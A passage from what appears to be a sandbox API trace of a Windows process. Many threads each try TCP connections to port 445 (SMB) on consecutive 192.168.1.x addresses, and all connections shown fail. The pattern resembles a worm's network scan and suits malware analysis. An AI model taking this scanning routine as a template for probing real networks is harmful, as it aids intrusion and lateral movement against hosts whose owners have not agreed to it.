[0114.034] connect (s=0x189c, name=0x12e0fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.105"), namelen=16) returned -1 [0135.117] closesocket (s=0x189c) returned 0 [0135.117] WSACleanup () returned 0 [0135.117] GetCurrentThreadId () returned 0x11c0 [0135.117] GetCurrentThreadId () returned 0x11c0 [0135.117] GetCurrentThreadId () returned 0x11c0 Thread: id = 735 os_tid = 0x1128 [0114.119] GetCurrentThreadId () returned 0x1128 [0114.119] GetCurrentThreadId () returned 0x1128 [0114.119] GetCurrentThreadId () returned 0x1128 [0114.119] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x12f4fdf0 | out: lpWSAData=0x12f4fdf0) returned 0 [0114.119] socket (af=2, type=1, protocol=0) returned 0x1894 [0114.119] inet_addr (cp="192.168.1.106") returned 0x6a01a8c0 [0114.119] htons (hostshort=0x1bd) returned 0xbd01 [0114.119] connect (s=0x1894, name=0x12f4fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.106"), namelen=16) returned -1 [0135.257] closesocket (s=0x1894) returned 0 [0135.258] WSACleanup () returned 0 [0135.258] GetCurrentThreadId () returned 0x1128 [0135.258] GetCurrentThreadId () returned 0x1128 [0135.258] GetCurrentThreadId () returned 0x1128 Thread: id = 739 os_tid = 0x724 [0114.231] GetCurrentThreadId () returned 0x724 [0114.231] GetCurrentThreadId () returned 0x724 [0114.231] GetCurrentThreadId () returned 0x724 [0114.231] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1308fdf0 | out: lpWSAData=0x1308fdf0) returned 0 [0114.231] socket (af=2, type=1, protocol=0) returned 0x1874 [0114.231] inet_addr (cp="192.168.1.107") returned 0x6b01a8c0 [0114.231] htons (hostshort=0x1bd) returned 0xbd01 [0114.231] connect (s=0x1874, name=0x1308fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.107"), namelen=16) returned -1 [0135.324] closesocket (s=0x1874) returned 0 [0135.325] WSACleanup () returned 0 [0135.325] GetCurrentThreadId () returned 0x724 [0135.325] GetCurrentThreadId () returned 0x724 [0135.325] GetCurrentThreadId () returned 0x724 Thread: id = 741 os_tid = 0x103c [0114.335] GetCurrentThreadId () returned 0x103c [0114.335] GetCurrentThreadId () returned 0x103c [0114.335] GetCurrentThreadId () returned 0x103c [0114.335] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x131cfdf0 | out: lpWSAData=0x131cfdf0) returned 0 [0114.335] socket (af=2, type=1, protocol=0) returned 0x186c [0114.335] inet_addr (cp="192.168.1.108") returned 0x6c01a8c0 [0114.335] htons (hostshort=0x1bd) returned 0xbd01 [0114.335] connect (s=0x186c, name=0x131cfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.108"), namelen=16) returned -1 [0135.414] closesocket (s=0x186c) returned 0 [0135.414] WSACleanup () returned 0 [0135.414] GetCurrentThreadId () returned 0x103c [0135.414] GetCurrentThreadId () returned 0x103c [0135.414] GetCurrentThreadId () returned 0x103c Thread: id = 742 os_tid = 0x55c [0114.511] GetCurrentThreadId () returned 0x55c [0114.511] GetCurrentThreadId () returned 0x55c [0114.511] GetCurrentThreadId () returned 0x55c [0114.511] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1330fdf0 | out: lpWSAData=0x1330fdf0) returned 0 [0114.511] socket (af=2, type=1, protocol=0) returned 0x1530 [0114.512] inet_addr (cp="192.168.1.109") returned 0x6d01a8c0 [0114.512] htons (hostshort=0x1bd) returned 0xbd01 [0114.512] connect (s=0x1530, name=0x1330fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.109"), namelen=16) returned -1 [0135.617] closesocket (s=0x1530) returned 0 [0135.617] WSACleanup () returned 0 [0135.617] GetCurrentThreadId () returned 0x55c [0135.617] GetCurrentThreadId () returned 0x55c [0135.617] GetCurrentThreadId () returned 0x55c Thread: id = 744 os_tid = 0xfcc [0114.600] GetCurrentThreadId () returned 0xfcc [0114.600] GetCurrentThreadId () returned 0xfcc [0114.600] GetCurrentThreadId () returned 0xfcc [0114.600] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1344fdf0 | out: lpWSAData=0x1344fdf0) returned 0 [0114.600] socket (af=2, type=1, protocol=0) returned 0x176c [0114.600] inet_addr (cp="192.168.1.110") returned 0x6e01a8c0 [0114.600] htons (hostshort=0x1bd) returned 0xbd01 [0114.600] connect (s=0x176c, name=0x1344fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.110"), namelen=16) returned -1 [0135.711] closesocket (s=0x176c) returned 0 [0135.711] WSACleanup () returned 0 [0135.711] GetCurrentThreadId () returned 0xfcc [0135.711] GetCurrentThreadId () returned 0xfcc [0135.711] GetCurrentThreadId () returned 0xfcc Thread: id = 746 os_tid = 0x150 [0114.731] GetCurrentThreadId () returned 0x150 [0114.731] GetCurrentThreadId () returned 0x150 [0114.731] GetCurrentThreadId () returned 0x150 [0114.731] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1358fdf0 | out: lpWSAData=0x1358fdf0) returned 0 [0114.731] socket (af=2, type=1, protocol=0) returned 0x39c [0114.731] inet_addr (cp="192.168.1.111") returned 0x6f01a8c0 [0114.731] htons (hostshort=0x1bd) returned 0xbd01 [0114.732] connect (s=0x39c, name=0x1358fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.111"), namelen=16) returned -1 [0135.819] closesocket (s=0x39c) returned 0 [0135.819] WSACleanup () returned 0 [0135.819] GetCurrentThreadId () returned 0x150 [0135.819] GetCurrentThreadId () returned 0x150 [0135.819] GetCurrentThreadId () returned 0x150 Thread: id = 747 os_tid = 0xac8 [0114.783] GetCurrentThreadId () returned 0xac8 [0114.783] GetCurrentThreadId () returned 0xac8 [0114.784] GetCurrentThreadId () returned 0xac8 [0114.784] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x136cfdf0 | out: lpWSAData=0x136cfdf0) returned 0 [0114.784] socket (af=2, type=1, protocol=0) returned 0x36c [0114.784] inet_addr (cp="192.168.1.112") returned 0x7001a8c0 [0114.784] htons (hostshort=0x1bd) returned 0xbd01 [0114.784] connect (s=0x36c, name=0x136cfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.112"), namelen=16) returned -1 [0135.912] closesocket (s=0x36c) returned 0 [0135.913] WSACleanup () returned 0 [0135.913] GetCurrentThreadId () returned 0xac8 [0135.913] GetCurrentThreadId () returned 0xac8 [0135.913] GetCurrentThreadId () returned 0xac8 Thread: id = 748 os_tid = 0x76c [0114.875] GetCurrentThreadId () returned 0x76c [0114.875] GetCurrentThreadId () returned 0x76c [0114.875] GetCurrentThreadId () returned 0x76c [0114.875] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x31dfdf0 | out: lpWSAData=0x31dfdf0) returned 0 [0114.875] socket (af=2, type=1, protocol=0) returned 0x420 [0114.875] inet_addr (cp="192.168.1.113") returned 0x7101a8c0 [0114.875] htons (hostshort=0x1bd) returned 0xbd01 [0114.875] connect (s=0x420, name=0x31dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.113"), namelen=16) returned -1 [0135.913] closesocket (s=0x420) returned 0 [0135.914] WSACleanup () returned 0 [0135.914] GetCurrentThreadId () returned 0x76c [0135.914] GetCurrentThreadId () returned 0x76c [0135.914] GetCurrentThreadId () returned 0x76c Thread: id = 750 os_tid = 0x998 [0115.055] GetCurrentThreadId () returned 0x998 [0115.055] GetCurrentThreadId () returned 0x998 [0115.055] GetCurrentThreadId () returned 0x998 [0115.055] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x33dfdf0 | out: lpWSAData=0x33dfdf0) returned 0 [0115.055] socket (af=2, type=1, protocol=0) returned 0x430 [0115.056] inet_addr (cp="192.168.1.114") returned 0x7201a8c0 [0115.056] htons (hostshort=0x1bd) returned 0xbd01 [0115.056] connect (s=0x430, name=0x33dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.114"), namelen=16) returned -1 [0136.115] closesocket (s=0x430) returned 0 [0136.115] WSACleanup () returned 0 [0136.115] GetCurrentThreadId () returned 0x998 [0136.115] GetCurrentThreadId () returned 0x998 [0136.115] GetCurrentThreadId () returned 0x998 Thread: id = 752 os_tid = 0x7dc [0115.196] GetCurrentThreadId () returned 0x7dc [0115.196] GetCurrentThreadId () returned 0x7dc [0115.196] GetCurrentThreadId () returned 0x7dc [0115.196] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1380fdf0 | out: lpWSAData=0x1380fdf0) returned 0 [0115.196] socket (af=2, type=1, protocol=0) returned 0x3dc [0115.196] inet_addr (cp="192.168.1.115") returned 0x7301a8c0 [0115.196] htons (hostshort=0x1bd) returned 0xbd01 [0115.196] connect (s=0x3dc, name=0x1380fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.115"), namelen=16) returned -1 [0136.321] closesocket (s=0x3dc) returned 0 [0136.321] WSACleanup () returned 0 [0136.321] GetCurrentThreadId () returned 0x7dc [0136.321] GetCurrentThreadId () returned 0x7dc [0136.321] GetCurrentThreadId () returned 0x7dc Thread: id = 754 os_tid = 0xb3c [0115.278] GetCurrentThreadId () returned 0xb3c [0115.278] GetCurrentThreadId () returned 0xb3c [0115.278] GetCurrentThreadId () returned 0xb3c [0115.278] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1394fdf0 | out: lpWSAData=0x1394fdf0) returned 0 [0115.278] socket (af=2, type=1, protocol=0) returned 0x3ec [0115.278] inet_addr (cp="192.168.1.116") returned 0x7401a8c0 [0115.278] htons (hostshort=0x1bd) returned 0xbd01 [0115.278] connect (s=0x3ec, name=0x1394fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.116"), namelen=16) returned -1 [0136.411] closesocket (s=0x3ec) returned 0 [0136.412] WSACleanup () returned 0 [0136.412] GetCurrentThreadId () returned 0xb3c [0136.412] GetCurrentThreadId () returned 0xb3c [0136.412] GetCurrentThreadId () returned 0xb3c Thread: id = 755 os_tid = 0x5ac [0115.461] GetCurrentThreadId () returned 0x5ac [0115.461] GetCurrentThreadId () returned 0x5ac [0115.461] GetCurrentThreadId () returned 0x5ac [0115.461] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x13a8fdf0 | out: lpWSAData=0x13a8fdf0) returned 0 [0115.461] socket (af=2, type=1, protocol=0) returned 0x1be4 [0115.462] inet_addr (cp="192.168.1.117") returned 0x7501a8c0 [0115.462] htons (hostshort=0x1bd) returned 0xbd01 [0115.462] connect (s=0x1be4, name=0x13a8fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.117"), namelen=16) returned -1 [0136.505] closesocket (s=0x1be4) returned 0 [0136.505] WSACleanup () returned 0 [0136.505] GetCurrentThreadId () returned 0x5ac [0136.505] GetCurrentThreadId () returned 0x5ac [0136.505] GetCurrentThreadId () returned 0x5ac Thread: id = 756 os_tid = 0x1368 [0115.601] GetCurrentThreadId () returned 0x1368 [0115.601] GetCurrentThreadId () returned 0x1368 [0115.601] GetCurrentThreadId () returned 0x1368 [0115.601] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x34dfdf0 | out: lpWSAData=0x34dfdf0) returned 0 [0115.601] socket (af=2, type=1, protocol=0) returned 0x568 [0115.601] inet_addr (cp="192.168.1.118") returned 0x7601a8c0 [0115.601] htons (hostshort=0x1bd) returned 0xbd01 [0115.601] connect (s=0x568, name=0x34dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.118"), namelen=16) returned -1 [0136.718] closesocket (s=0x568) returned 0 [0136.718] WSACleanup () returned 0 [0136.718] GetCurrentThreadId () returned 0x1368 [0136.718] GetCurrentThreadId () returned 0x1368 [0136.718] GetCurrentThreadId () returned 0x1368 Thread: id = 757 os_tid = 0x1358 [0115.690] GetCurrentThreadId () returned 0x1358 [0115.690] GetCurrentThreadId () returned 0x1358 [0115.690] GetCurrentThreadId () returned 0x1358 [0115.690] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x35dfdf0 | out: lpWSAData=0x35dfdf0) returned 0 [0115.690] socket (af=2, type=1, protocol=0) returned 0x4f4 [0115.691] inet_addr (cp="192.168.1.119") returned 0x7701a8c0 [0115.691] htons (hostshort=0x1bd) returned 0xbd01 [0115.691] connect (s=0x4f4, name=0x35dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.119"), namelen=16) returned -1 [0136.817] closesocket (s=0x4f4) returned 0 [0136.817] WSACleanup () returned 0 [0136.817] GetCurrentThreadId () returned 0x1358 [0136.817] GetCurrentThreadId () returned 0x1358 [0136.817] GetCurrentThreadId () returned 0x1358 Thread: id = 759 os_tid = 0xa18 [0115.773] GetCurrentThreadId () returned 0xa18 [0115.773] GetCurrentThreadId () returned 0xa18 [0115.773] GetCurrentThreadId () returned 0xa18 [0115.773] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x36dfdf0 | out: lpWSAData=0x36dfdf0) returned 0 [0115.773] socket (af=2, type=1, protocol=0) returned 0x570 [0115.773] inet_addr (cp="192.168.1.120") returned 0x7801a8c0 [0115.773] htons (hostshort=0x1bd) returned 0xbd01 [0115.773] connect (s=0x570, name=0x36dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.120"), namelen=16) returned -1 [0136.911] closesocket (s=0x570) returned 0 [0136.911] WSACleanup () returned 0 [0136.911] GetCurrentThreadId () returned 0xa18 [0136.911] GetCurrentThreadId () returned 0xa18 [0136.911] GetCurrentThreadId () returned 0xa18 Thread: id = 763 os_tid = 0x134c [0115.915] GetCurrentThreadId () returned 0x134c [0115.915] GetCurrentThreadId () returned 0x134c [0115.915] GetCurrentThreadId () returned 0x134c [0115.916] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x37dfdf0 | out: lpWSAData=0x37dfdf0) returned 0 [0115.916] socket (af=2, type=1, protocol=0) returned 0x530 [0115.916] inet_addr (cp="192.168.1.121") returned 0x7901a8c0 [0115.916] htons (hostshort=0x1bd) returned 0xbd01 [0115.916] connect (s=0x530, name=0x37dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.121"), namelen=16) returned -1 [0137.020] closesocket (s=0x530) returned 0 [0137.020] WSACleanup () returned 0 [0137.020] GetCurrentThreadId () returned 0x134c [0137.020] GetCurrentThreadId () returned 0x134c [0137.020] GetCurrentThreadId () returned 0x134c Thread: id = 764 os_tid = 0x1348 [0116.012] GetCurrentThreadId () returned 0x1348 [0116.012] GetCurrentThreadId () returned 0x1348 [0116.012] GetCurrentThreadId () returned 0x1348 [0116.012] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x38dfdf0 | out: lpWSAData=0x38dfdf0) returned 0 [0116.012] socket (af=2, type=1, protocol=0) returned 0x504 [0116.012] inet_addr (cp="192.168.1.122") returned 0x7a01a8c0 [0116.012] htons (hostshort=0x1bd) returned 0xbd01 [0116.013] connect (s=0x504, name=0x38dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.122"), namelen=16) returned -1 [0137.113] closesocket (s=0x504) returned 0 [0137.114] WSACleanup () returned 0 [0137.114] GetCurrentThreadId () returned 0x1348 [0137.114] GetCurrentThreadId () returned 0x1348 [0137.114] GetCurrentThreadId () returned 0x1348 Thread: id = 765 os_tid = 0x12a8 [0116.116] GetCurrentThreadId () returned 0x12a8 [0116.116] GetCurrentThreadId () returned 0x12a8 [0116.116] GetCurrentThreadId () returned 0x12a8 [0116.116] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x39dfdf0 | out: lpWSAData=0x39dfdf0) returned 0 [0116.116] socket (af=2, type=1, protocol=0) returned 0x510 [0116.117] inet_addr (cp="192.168.1.123") returned 0x7b01a8c0 [0116.117] htons (hostshort=0x1bd) returned 0xbd01 [0116.117] connect (s=0x510, name=0x39dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.123"), namelen=16) returned -1 [0137.217] closesocket (s=0x510) returned 0 [0137.217] WSACleanup () returned 0 [0137.218] GetCurrentThreadId () returned 0x12a8 [0137.218] GetCurrentThreadId () returned 0x12a8 [0137.218] GetCurrentThreadId () returned 0x12a8 Thread: id = 767 os_tid = 0x1254 [0116.228] GetCurrentThreadId () returned 0x1254 [0116.228] GetCurrentThreadId () returned 0x1254 [0116.228] GetCurrentThreadId () returned 0x1254 [0116.228] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x3c5fdf0 | out: lpWSAData=0x3c5fdf0) returned 0 [0116.228] socket (af=2, type=1, protocol=0) returned 0x62c [0116.229] inet_addr (cp="192.168.1.124") returned 0x7c01a8c0 [0116.229] htons (hostshort=0x1bd) returned 0xbd01 [0116.229] connect (s=0x62c, name=0x3c5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.124"), namelen=16) returned -1 [0137.316] closesocket (s=0x62c) returned 0 [0137.317] WSACleanup () returned 0 [0137.317] GetCurrentThreadId () returned 0x1254 [0137.317] GetCurrentThreadId () returned 0x1254 [0137.317] GetCurrentThreadId () returned 0x1254 Thread: id = 768 os_tid = 0x1258 [0116.334] GetCurrentThreadId () returned 0x1258 [0116.334] GetCurrentThreadId () returned 0x1258 [0116.334] GetCurrentThreadId () returned 0x1258 [0116.334] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x3d9fdf0 | out: lpWSAData=0x3d9fdf0) returned 0 [0116.334] socket (af=2, type=1, protocol=0) returned 0x64c [0116.335] inet_addr (cp="192.168.1.125") returned 0x7d01a8c0 [0116.335] htons (hostshort=0x1bd) returned 0xbd01 [0116.335] connect (s=0x64c, name=0x3d9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.125"), namelen=16) returned -1 [0137.410] closesocket (s=0x64c) returned 0 [0137.410] WSACleanup () returned 0 [0137.410] GetCurrentThreadId () returned 0x1258 [0137.410] GetCurrentThreadId () returned 0x1258 [0137.410] GetCurrentThreadId () returned 0x1258 Thread: id = 769 os_tid = 0x1250 [0116.493] GetCurrentThreadId () returned 0x1250 [0116.493] GetCurrentThreadId () returned 0x1250 [0116.493] GetCurrentThreadId () returned 0x1250 [0116.493] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x401fdf0 | out: lpWSAData=0x401fdf0) returned 0 [0116.493] socket (af=2, type=1, protocol=0) returned 0x35c [0116.494] inet_addr (cp="192.168.1.126") returned 0x7e01a8c0 [0116.494] htons (hostshort=0x1bd) returned 0xbd01 [0116.494] connect (s=0x35c, name=0x401fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.126"), namelen=16) returned -1 [0137.613] closesocket (s=0x35c) returned 0 [0137.613] WSACleanup () returned 0 [0137.613] GetCurrentThreadId () returned 0x1250 [0137.613] GetCurrentThreadId () returned 0x1250 [0137.613] GetCurrentThreadId () returned 0x1250 Thread: id = 770 os_tid = 0x12d8 [0116.585] GetCurrentThreadId () returned 0x12d8 [0116.585] GetCurrentThreadId () returned 0x12d8 [0116.585] GetCurrentThreadId () returned 0x12d8 [0116.585] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x415fdf0 | out: lpWSAData=0x415fdf0) returned 0 [0116.585] socket (af=2, type=1, protocol=0) returned 0x654 [0116.585] inet_addr (cp="192.168.1.127") returned 0x7f01a8c0 [0116.585] htons (hostshort=0x1bd) returned 0xbd01 [0116.585] connect (s=0x654, name=0x415fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.127"), namelen=16) returned -1 [0137.715] closesocket (s=0x654) returned 0 [0137.715] WSACleanup () returned 0 [0137.715] GetCurrentThreadId () returned 0x12d8 [0137.715] GetCurrentThreadId () returned 0x12d8 [0137.715] GetCurrentThreadId () returned 0x12d8 Thread: id = 771 os_tid = 0x125c [0116.678] GetCurrentThreadId () returned 0x125c [0116.678] GetCurrentThreadId () returned 0x125c [0116.678] GetCurrentThreadId () returned 0x125c [0116.678] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x429fdf0 | out: lpWSAData=0x429fdf0) returned 0 [0116.678] socket (af=2, type=1, protocol=0) returned 0x1c04 [0116.679] inet_addr (cp="192.168.1.128") returned 0x8001a8c0 [0116.679] htons (hostshort=0x1bd) returned 0xbd01 [0116.679] connect (s=0x1c04, name=0x429fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.128"), namelen=16) returned -1 [0137.716] closesocket (s=0x1c04) returned 0 [0137.716] WSACleanup () returned 0 [0137.716] GetCurrentThreadId () returned 0x125c [0137.716] GetCurrentThreadId () returned 0x125c [0137.716] GetCurrentThreadId () returned 0x125c Thread: id = 772 os_tid = 0x12d0 [0116.758] GetCurrentThreadId () returned 0x12d0 [0116.758] GetCurrentThreadId () returned 0x12d0 [0116.758] GetCurrentThreadId () returned 0x12d0 [0116.758] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x43dfdf0 | out: lpWSAData=0x43dfdf0) returned 0 [0116.758] socket (af=2, type=1, protocol=0) returned 0x1bf8 [0116.758] inet_addr (cp="192.168.1.129") returned 0x8101a8c0 [0116.758] htons (hostshort=0x1bd) returned 0xbd01 [0116.758] connect (s=0x1bf8, name=0x43dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.129"), namelen=16) returned -1 [0137.817] closesocket (s=0x1bf8) returned 0 [0137.818] WSACleanup () returned 0 [0137.818] GetCurrentThreadId () returned 0x12d0 [0137.818] GetCurrentThreadId () returned 0x12d0 [0137.818] GetCurrentThreadId () returned 0x12d0 Thread: id = 773 os_tid = 0x12cc [0116.849] GetCurrentThreadId () returned 0x12cc [0116.849] GetCurrentThreadId () returned 0x12cc [0116.849] GetCurrentThreadId () returned 0x12cc [0116.849] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x451fdf0 | out: lpWSAData=0x451fdf0) returned 0 [0116.849] socket (af=2, type=1, protocol=0) returned 0x348 [0116.849] inet_addr (cp="192.168.1.130") returned 0x8201a8c0 [0116.849] htons (hostshort=0x1bd) returned 0xbd01 [0116.849] connect (s=0x348, name=0x451fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.130"), namelen=16) returned -1 [0137.909] closesocket (s=0x348) returned 0 [0137.909] WSACleanup () returned 0 [0137.909] GetCurrentThreadId () returned 0x12cc [0137.910] GetCurrentThreadId () returned 0x12cc [0137.910] GetCurrentThreadId () returned 0x12cc Thread: id = 774 os_tid = 0x524 [0116.943] GetCurrentThreadId () returned 0x524 [0116.943] GetCurrentThreadId () returned 0x524 [0116.943] GetCurrentThreadId () returned 0x524 [0116.943] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x465fdf0 | out: lpWSAData=0x465fdf0) returned 0 [0116.943] socket (af=2, type=1, protocol=0) returned 0x454 [0116.943] inet_addr (cp="192.168.1.131") returned 0x8301a8c0 [0116.943] htons (hostshort=0x1bd) returned 0xbd01 [0116.943] connect (s=0x454, name=0x465fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.131"), namelen=16) returned -1 [0138.018] closesocket (s=0x454) returned 0 [0138.018] WSACleanup () returned 0 [0138.018] GetCurrentThreadId () returned 0x524 [0138.019] GetCurrentThreadId () returned 0x524 [0138.019] GetCurrentThreadId () returned 0x524 Thread: id = 775 os_tid = 0x12e0 [0117.037] GetCurrentThreadId () returned 0x12e0 [0117.037] GetCurrentThreadId () returned 0x12e0 [0117.037] GetCurrentThreadId () returned 0x12e0 [0117.037] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x479fdf0 | out: lpWSAData=0x479fdf0) returned 0 [0117.037] socket (af=2, type=1, protocol=0) returned 0x480 [0117.037] inet_addr (cp="192.168.1.132") returned 0x8401a8c0 [0117.037] htons (hostshort=0x1bd) returned 0xbd01 [0117.037] connect (s=0x480, name=0x479fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.132"), namelen=16) returned -1 [0138.112] closesocket (s=0x480) returned 0 [0138.112] WSACleanup () returned 0 [0138.112] GetCurrentThreadId () returned 0x12e0 [0138.112] GetCurrentThreadId () returned 0x12e0 [0138.112] GetCurrentThreadId () returned 0x12e0 Thread: id = 776 os_tid = 0x908 [0117.130] GetCurrentThreadId () returned 0x908 [0117.130] GetCurrentThreadId () returned 0x908 [0117.130] GetCurrentThreadId () returned 0x908 [0117.130] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x48dfdf0 | out: lpWSAData=0x48dfdf0) returned 0 [0117.130] socket (af=2, type=1, protocol=0) returned 0x474 [0117.131] inet_addr (cp="192.168.1.133") returned 0x8501a8c0 [0117.131] htons (hostshort=0x1bd) returned 0xbd01 [0117.131] connect (s=0x474, name=0x48dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.133"), namelen=16) returned -1 [0138.243] closesocket (s=0x474) returned 0 [0138.244] WSACleanup () returned 0 [0138.244] GetCurrentThreadId () returned 0x908 [0138.244] GetCurrentThreadId () returned 0x908 [0138.244] GetCurrentThreadId () returned 0x908 Thread: id = 777 os_tid = 0x8c8 [0117.240] GetCurrentThreadId () returned 0x8c8 [0117.240] GetCurrentThreadId () returned 0x8c8 [0117.240] GetCurrentThreadId () returned 0x8c8 [0117.240] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4a1fdf0 | out: lpWSAData=0x4a1fdf0) returned 0 [0117.240] socket (af=2, type=1, protocol=0) returned 0x2f8 [0117.241] inet_addr (cp="192.168.1.134") returned 0x8601a8c0 [0117.241] htons (hostshort=0x1bd) returned 0xbd01 [0117.241] connect (s=0x2f8, name=0x4a1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.134"), namelen=16) returned -1 [0138.315] closesocket (s=0x2f8) returned 0 [0138.315] WSACleanup () returned 0 [0138.315] GetCurrentThreadId () returned 0x8c8 [0138.315] GetCurrentThreadId () returned 0x8c8 [0138.315] GetCurrentThreadId () returned 0x8c8 Thread: id = 778 os_tid = 0x690 [0117.395] GetCurrentThreadId () returned 0x690 [0117.395] GetCurrentThreadId () returned 0x690 [0117.395] GetCurrentThreadId () returned 0x690 [0117.395] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4b5fdf0 | out: lpWSAData=0x4b5fdf0) returned 0 [0117.395] socket (af=2, type=1, protocol=0) returned 0x320 [0117.395] inet_addr (cp="192.168.1.135") returned 0x8701a8c0 [0117.395] htons (hostshort=0x1bd) returned 0xbd01 [0117.395] connect (s=0x320, name=0x4b5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.135"), namelen=16) returned -1 [0138.517] closesocket (s=0x320) returned 0 [0138.518] WSACleanup () returned 0 [0138.518] GetCurrentThreadId () returned 0x690 [0138.518] GetCurrentThreadId () returned 0x690 [0138.518] GetCurrentThreadId () returned 0x690 Thread: id = 779 os_tid = 0x1014 [0117.443] GetCurrentThreadId () returned 0x1014 [0117.443] GetCurrentThreadId () returned 0x1014 [0117.443] GetCurrentThreadId () returned 0x1014 [0117.443] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4c9fdf0 | out: lpWSAData=0x4c9fdf0) returned 0 [0117.443] socket (af=2, type=1, protocol=0) returned 0x2c8 [0117.444] inet_addr (cp="192.168.1.136") returned 0x8801a8c0 [0117.444] htons (hostshort=0x1bd) returned 0xbd01 [0117.444] connect (s=0x2c8, name=0x4c9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.136"), namelen=16) returned -1 [0138.518] closesocket (s=0x2c8) returned 0 [0138.518] WSACleanup () returned 0 [0138.518] GetCurrentThreadId () returned 0x1014 [0138.518] GetCurrentThreadId () returned 0x1014 [0138.518] GetCurrentThreadId () returned 0x1014 Thread: id = 780 os_tid = 0x124 [0117.561] GetCurrentThreadId () returned 0x124 [0117.561] GetCurrentThreadId () returned 0x124 [0117.561] GetCurrentThreadId () returned 0x124 [0117.561] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4ddfdf0 | out: lpWSAData=0x4ddfdf0) returned 0 [0117.561] socket (af=2, type=1, protocol=0) returned 0x7cc [0117.561] inet_addr (cp="192.168.1.137") returned 0x8901a8c0 [0117.561] htons (hostshort=0x1bd) returned 0xbd01 [0117.561] connect (s=0x7cc, name=0x4ddfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.137"), namelen=16) returned -1 [0138.611] closesocket (s=0x7cc) returned 0 [0138.612] WSACleanup () returned 0 [0138.612] GetCurrentThreadId () returned 0x124 [0138.612] GetCurrentThreadId () returned 0x124 [0138.612] GetCurrentThreadId () returned 0x124 Thread: id = 781 os_tid = 0x898 [0117.680] GetCurrentThreadId () returned 0x898 [0117.680] GetCurrentThreadId () returned 0x898 [0117.680] GetCurrentThreadId () returned 0x898 [0117.680] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4f1fdf0 | out: lpWSAData=0x4f1fdf0) returned 0 [0117.680] socket (af=2, type=1, protocol=0) returned 0x808 [0117.680] inet_addr (cp="192.168.1.138") returned 0x8a01a8c0 [0117.680] htons (hostshort=0x1bd) returned 0xbd01 [0117.681] connect (s=0x808, name=0x4f1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.138"), namelen=16) returned -1 [0138.704] closesocket (s=0x808) returned 0 [0138.705] WSACleanup () returned 0 [0138.705] GetCurrentThreadId () returned 0x898 [0138.705] GetCurrentThreadId () returned 0x898 [0138.705] GetCurrentThreadId () returned 0x898 Thread: id = 783 os_tid = 0x340 [0117.848] GetCurrentThreadId () returned 0x340 [0117.848] GetCurrentThreadId () returned 0x340 [0117.848] GetCurrentThreadId () returned 0x340 [0117.848] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x505fdf0 | out: lpWSAData=0x505fdf0) returned 0 [0117.848] socket (af=2, type=1, protocol=0) returned 0x818 [0117.848] inet_addr (cp="192.168.1.139") returned 